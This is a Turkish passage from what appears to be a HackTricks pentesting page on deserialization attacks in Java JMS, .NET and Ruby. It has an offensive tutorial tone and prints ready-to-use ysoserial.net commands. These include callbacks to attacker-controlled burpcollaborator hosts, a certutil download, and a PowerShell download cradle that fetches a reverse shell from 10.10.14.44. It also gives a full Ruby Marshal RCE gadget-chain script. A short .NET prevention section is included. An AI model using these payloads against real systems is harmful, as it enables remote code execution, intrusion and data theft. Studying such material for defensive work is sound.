Java Message Service (JMS) API, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj tabanlı ortam API'sidir. Üretici-tüketici sorununu ele almak için bir uygulama geliştirme arayüzüdür. JMS, Java Platform, Enterprise Edition (Java EE) kapsamında yer alır ve Sun Microsystems tarafından geliştirilen bir özellik belgesiyle tanımlanmıştır, ancak daha sonra Java Community Process tarafından yönlendirilmiştir. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasındaki iletişimi gevşek bağlı, güvenilir ve asenkron hale getirir. (Kaynak: Wikipedia).

Ürünler

Bu aracıyı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Sömürü

Temel olarak, JMS'yi tehlikeli bir şekilde kullanan bir dizi hizmet bulunmaktadır. Bu nedenle, bu hizmetlere mesaj göndermek için yeterli yetkilere sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), serileştirilmiş zararlı nesneler gönderebilir ve bunlar tüketici/abone tarafından deserialize edilebilir.
Bu, bu sömürüde mesajı kullanan tüm istemcilerin enfekte olacağı anlamına gelir.

Unutmayın, bir hizmetin zafiyete sahip olması (çünkü kullanıcı girişini güvensiz bir şekilde deserialize ediyor) bile, zafiyeti sömürmek için geçerli gadget'ları bulmanız gerekmektedir.

JMET aracı, bu hizmetlere bağlanıp bilinen gadget'ları kullanarak birçok zararlı serileştirilmiş nesne göndererek saldırı yapmak için oluşturulmuştur. Bu saldırılar, hizmet hala zafiyete sahipse ve kullanılan gadget'ların herhangi biri zafiyetli uygulama içinde bulunuyorsa çalışacaktır.

Referanslar

.Net

.Net bağlamında, deserializasyon saldırıları, nesnenin deserializasyonu sırasında belirli bir kodun çalıştırılması için gadget'ların sömürüldüğü Java'da bulunanlara benzer bir şekilde çalışır.

Parmak İzi

WhiteBox

Kaynak kodu, aşağıdaki öğelerin varlığıısından incelenmelidir:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Odak, kullanıcı tarafından kontrol edilen bir değişken tarafından belirlenen türün serileştiricilerinde olmalıdır.

BlackBox

Arama, sunucu tarafında serileştirme işlemine tabi tutulabilecek AAEAAAD///// veya benzer bir desen içeren Base64 kodlanmış dizeyi hedeflemelidir. Bu, TypeObject veya $type içeren, ancak bunlarla sınırlı olmayan JSON veya XML yapıları içerebilir.

ysoserial.net

Bu durumda, deserileştirme saldırılarını oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra, örneğin Visual Studio kullanarak aracı derlemeniz gerekmektedir.

ysoserial.net'in nasıl saldırı oluşturduğunu öğrenmek isterseniz, bu sayfaya bakabilirsiniz, burada ObjectDataProvider gadget + ExpandedWrapper + Json.Net biçimlendirici açıklanmıştır.

ysoserial.net'in ana seçenekleri: --gadget, --formatter, --output ve --plugin'dir.

  • --gadget, deserializasyon sırasında komutları yürütmek için istismar edilecek gadget'ı belirtmek için kullanılır (istismar edilecek sınıf/fonksiyonu belirtin).
  • --formatter, istismarı serileştirmek için kullanılan yöntemi belirtmek için kullanılır (payload'ı geri çözmek için arka uç tarafından hangi kütüphanenin kullanıldığını bilmelisiniz ve aynı kütüphaneyi kullanarak serileştirmeyi yapmalısınız).
  • --output, istismarı ham veya Base64 kodlu olarak belirtmek için kullanılır. Not olarak, ysoserial.net payload'ı UTF-16LE ile kodlayacaktır (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle hamı alıp sadece bir Linux konsolundan kodlarsanız, işlemi düzgün çalışmasını engelleyebilecek bazı kodlama uyumluluk sorunları yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII ile çalıştı, ancak bu her zaman çalışacağı anlamına gelmez).
  • --plugin, ysoserial.net, ViewState gibi belirli çerçeveler için istismarlar oluşturmak için eklentileri destekler.

Daha Fazla ysoserial.net Parametresi

  • --minify, daha küçük bir payload sağlar (mümkünse)
  • --raf -f Json.Net -c "anything", Bu, sağlanan bir biçimlendiriciyle (Json.Net bu durumda) kullanılabilecek tüm gadget'ları belirtir.
  • --sf xml, bir gadget (-g) belirtebilir ve ysoserial.net "xml" içeren biçimlendiricileri arayacaktır (büyük/küçük harf duyarsız).

ysoserial örnekleri, istismarlar oluşturmak için:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net'in her bir saldırının nasıl çalıştığını daha iyi anlamanıza yardımcı olan çok ilginç bir parametresi de bulunmaktadır: --test
Bu parametreyi belirtirseniz, ysoserial.net saldırıyı yerel olarak deneyecek, böylece payload'unuzun doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.
Bu parametre faydalıdır çünkü kodu inceleyerek aşağıdaki gibi kod parçaları bulabilirsiniz (ObjectDataProviderGenerator.cs üzerinden):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Bu, saldırıyı test etmek için kodun serializersHelper.JsonNet_deserialize işlevini çağıracağı anlamına gelir.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Önceki kod oluşturulan saldırıya karşı savunmasızdır. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.
Bu nedenle, --test parametresi, ysoserial.net tarafından oluşturulan deserializasyon saldırısına karşı hangi kod parçalarının savunmasız olduğunu anlamamıza olanak tanır.

ViewState

.Net'in __ViewState parametresini nasıl sömürüleceğini denemek için bu POST'a bakın ve keyfi kodu yürütün. Eğer kurban makinenin kullandığı sırları zaten biliyorsanız, kodu yürütmek için bu yazıyı okuyun.

Önleme

.Net'te deserializasyonla ilişkili riskleri azaltmak için:

  • Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının. Mümkün olduğunda DataContractSerializer veya XmlSerializer kullanın.

  • JSON.Net için TypeNameHandling'i None olarak ayarlayın: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializer'ı JavaScriptTypeResolver ile kullanmaktan kaçının.

  • Deserializasyon yapabilecek türleri sınırlayın, .Net türlerinin doğal risklerini anlayarak, sunucu dosyalarının özelliklerini değiştirebilen System.IO.FileInfo gibi türlerden kaynaklanan potansiyel hizmet reddi saldırılarına yol açabilir.

  • Riskli özelliklere sahip türlerden kaçının, örneğin System.ComponentModel.DataAnnotations.ValidationException'ın Value özelliği ile, bu sömürülebilir.

  • Deserializasyon sürecine etki edebilecek saldırganları engellemek için tür oluşturmayı güvenli bir şekilde kontrol edin, bu durumda bile DataContractSerializer veya XmlSerializer bile savunmasız hale gelebilir.

  • BinaryFormatter ve JSON.Net için özel bir SerializationBinder kullanarak beyaz liste kontrolleri uygulayın.

  • .Net içinde bilinen güvensiz deserializasyon araçları hakkında bilgi sahibi olun ve deserializatörlerin bu türleri oluşturmadığından emin olun.

  • Bilinen araçları, örneğin WPF uygulamalarında System.Windows.Data.ObjectDataProvider'ı güvenilmeyen veri kaynaklarına maruz bırakmamak için, internet erişimi olan kodlardan potansiyel olarak riskli kodları izole edin.

Referanslar

Ruby

Ruby'de, seri hale getirme işlemi marshal kütüphanesindeki iki yöntemle gerçekleştirilir. İlk yöntem olan dump, bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işlem seri hale getirme olarak adlandırılır. Tersine, ikinci yöntem olan load, bir bayt akışını bir nesneye geri döndürmek için kullanılır ve bu işlem deserializasyon olarak adlandırılır.

Seri hale getirilmiş nesneleri güvence altına almak için Ruby, HMAC (Hash-Based Message Authentication Code) kullanır ve verinin bütünlüğünü ve otantikliğini sağlar. Bu amaçla kullanılan anahtar, aşağıdaki olası yerlerden birinde saklanır:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X genel deserializasyon için RCE gadget zinciri (daha fazla bilgi için https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails'ı sömürmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları: